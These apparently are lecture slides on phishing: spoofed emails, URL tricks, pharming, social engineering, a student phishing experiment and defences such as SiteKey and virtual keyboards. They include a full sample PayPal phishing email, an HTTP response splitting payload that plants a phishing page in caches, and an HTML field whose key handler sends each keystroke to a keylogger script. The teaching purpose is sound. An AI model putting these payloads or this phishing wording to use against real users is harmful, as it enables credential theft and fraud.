Phishing

Spoofed emails
A few headlines

- “11.9 million Americans clicked on a phishing e-mail in 2005”
- “Gartner estimates that the total financial losses attributable to phishing will total $2.8 bn in 2006”
- “Phishing and key-logging Trojans cost UK banks £12m”
- “Swedish bank hit by 'biggest ever' online heist”
  “Swedish Bank loses $1 Million through Russian hacker”
Welcome to MillerSmiles.co.uk! We are one of the internet's leading anti-phishing sites, maintaining a massive archive of phishing and identity theft email scams.

We are currently storing all scam reports with our HoneyTrap database which is now available for commercial license. This database currently holds 155545 reports.

We also run a news service (headlines below) which brings you all the latest headlines from the world of fraudulent emails and phishing.

Latest Phishing News Headlines:
- Phishing Trend Continues
- Tax Phishing Scams
- Christmas phishing threats loom
- Phishing - A Tougher Art
- Google fixes security flaw
- Phishing Protection in Office SP2
- Yahoo! Hosting Phishing Sites
- Microsoft's Anti-Phishing Tool
- Spear-Phishing Phenomenon
- 'Phishing' Enters English Dictionary

Chase Bank: 29th January 2007
Chase Bank Warning
Chase Bank Urgent Notification
Regions Bank: 29th January 2007
Further Account Authentication
Chase Bank: 29th January 2007
Chase Bank Warning
Regions Bank: 29th January 2007
Maintaining the trust of our customers!!!

Egg Bank: 29th January 2007
Egg Bank Attention (Needed Update Your Bank Account Information)
eBay: 28th January 2007
eBay
 eBay: 28th January 2007
Message from eBay Member
HSBC Bank: 28th January 2007
New Security Tips Alert

Note: Fallen foul to a phishing scam? Lost money? Please contact us.
A snapshot of a friends Mailbox

service@paypal.com

Notification Of Limited Account Access

Dear PayPal Valued Customer,

PayPal is committed to maintaining a safe environment for its community of buyers and sellers. To protect the security of your account, PayPal employs some of the most advanced security systems in the world and our anti-fraud teams regularly screen the PayPal system for unusual activity.

We are contacting you to remind you that on January 17, 2007 our Account Review Team identified some unusual activity in your account. In accordance with PayPal's User Agreement and to ensure that your account has not been compromised, access to your account was limited. Your account access will remain limited until this issue has been resolved.

In order to secure your account and quickly restore full access, we may require you to verify or update your Personal Information. If you choose to ignore our request, you leave us no choice but to temporarily suspend your account.

Click here to login and restore your account access.
Typical phishing page

- Weird URL
- http instead of https
Or even like this
A closer look

From: “Wells Fargo” <aw-updateWells.Fargo.com@abm-tech.com>

What you’ll see on the page

Where the link actually goes

And you end up here

2006 (must be an old snapshot)
Thank goodness for IE 7.0 😊
Phishing techniques

- Use confusing URLs

- Use URL with multiple redirection

- Host phishing sites on botnet zombies
  - Move from bot to bot using dynamic DNS

- Pharming
  - Poison DNS tables so that victim’s address (e.g., www.paypal.com) points to the phishing site
  - URL checking doesn’t help!
Bad idea: Echoing user input

- User input echoed in HTTP header
- For example, language redirect:

```jsp
<% response.sendRedirect("/by_lang.jsp?lang=
    request.getParameter("lang")
%>
```

- Browser sends

  http://.../by_lang.jsp ? lang=french

- Server responds

  HTTP/1.1 302 redirect
  Date: ...
  Location: /by_lang.jsp ? lang=french
HTTP response splitting

- Malicious user requests
  - `http://.../by_lang.jsp ? lang=
    "french \n    Content-length: 0 \r\n\r\n    HTTP/1.1 200 OK
  <Encoded URL of phishing page>”

- Server responds:
  - `HTTP/1.1 302
    Location: /by_lang.jsp ? lang= french
    Content-length: 0
    HTTP/1.1 200 OK
    Content-length: 217
    Phishing page`

Looks like a separate page
Why?

- Attacker submitted a URL to victim.com
- Response from victim.com contains phishing page
- All cache servers along the path will store the phishing page as the cache of victim.com
- If an unsuspecting user of the same cache server requests victim.com, server will give him the cached phishing page instead
Trusted input path problem

- Users are easily tricked into entering passwords into insecure non-password fields

```html
<input type="text" name="spoof"
      onKeyPress="(new Image()).src=
          'keylogger.php?key=' +
          String.fromCharCode( event.keyCode );
      event.keyCode = 183;" />
```

Sends keystroke to phisher

Changes character to *
Social engineering tricks

- Create a bank page advertising an interest rate slightly higher than any real bank; ask users for their credentials to initiate money transfer
  - Some victims provided their bank account numbers to “Flintstone National Bank” of “Bedrock, Colorado”

- Exploit social network
  - Spoof an email from a Facebook or MySpace friend
    - Read Jan 29 WSJ article about MySpace hack
  - In a West Point experiment, 80% of cadets were deceived into following an embedded link regarding their grade report from a fictitious colonel
Experiments at Indiana University

- Reconstructed social network by crawling sites like Facebook, MySpace, LinkedIn and Friendster
- Sent 921 Indiana University students spoofed email (apparently from their friend)
- Email redirected to spoofed site asking user to enter his/her secure university credentials
  - Domain name clearly distinct from indiana.edu
- 72% of students entered real credentials
  - Males more likely if email sender is female
Victims’ reactions (1)

[ overhead view of a map with new roads highlighted]

- **Anger**
  - Subjects called the experiment unethical, inappropriate, illegal, unprofessional, fraudulent, self-serving, useless.
  - Called for researchers conducting the study to be fired, prosecuted, expelled, or reprimanded.

- **Denial**
  - No posted comments with admission that writer was victim of attack.
  - Many posts stated that poster did not and would never fall for such an attack, and they were speaking on behalf of friends who had been phished.

[Jagatic et al.]
Victims’ reactions (2)

- Misunderstanding
  - Many subjects were convinced that the experimenters hacked into their email accounts. They believed it was the only possible explanation for the spoofed messages.

- Underestimation of privacy risks
  - Many subjects didn’t understand how the researchers obtained information about their friends, and assumed that the researchers accessed their address books.
  - Others, understanding that the information was mined from social network sites, objected that their privacy had been violated by the researchers who accessed the information that they had posted online.

[Jagatic et al.]
Defense #1: Internet Explorer 7.0

- “White list” of trusted sites
- Other URLs sent to Microsoft
  Responds with “Ok” or “Phishing!”
Defense #2: PassMark / SiteKey

If you don’t recognize your personalized SiteKey, don’t enter your Passcode.
Defense #3: PIN Guard

Use your mouse to click the number, or use your keyboard to type the letters.
Defense #3A: Scramble Pad

Enter access code by typing letters from randomly generated Scramble Pad.
Defense #4: Virtual Keyboard

Use your mouse to select characters from the virtual keyboard.
Passport services

- **Idea:** authenticate once, use everywhere
- Trusted third party issues identity credentials
- User uses them to access services over the Web
History of Microsoft Passport

- Launched in 1999
  - 2002, Microsoft claims > 200M accounts, 3.5 billion authentications each month

- Passport: Early Glitches
  - Flawed password reset procedure
  - Cross-scripting attack

- Status?
  - From Directory of Sites at http://www.passport.net: “We have discontinued our Site Directory...”
  - Monster.com dropped support in October 2004
  - eBay dropped support in January 2005
  - Seems to have fizzled out
Liberty Alliance

- Open-standard alternative to Passport
- Promises compliance with privacy legislation
- Long list of Liberty-enabled products
- As of June 2009, work has been transferred to Kantara Initiative.

http://www.projectliberty.org
Defenses

- Use mutual authentication
- Non-Reusable credentials
  (not sufficient against man-in-the-middle attacks)
- Basic technical mechanism available
- Human interaction with these is a challenge!
- Security is a systems problem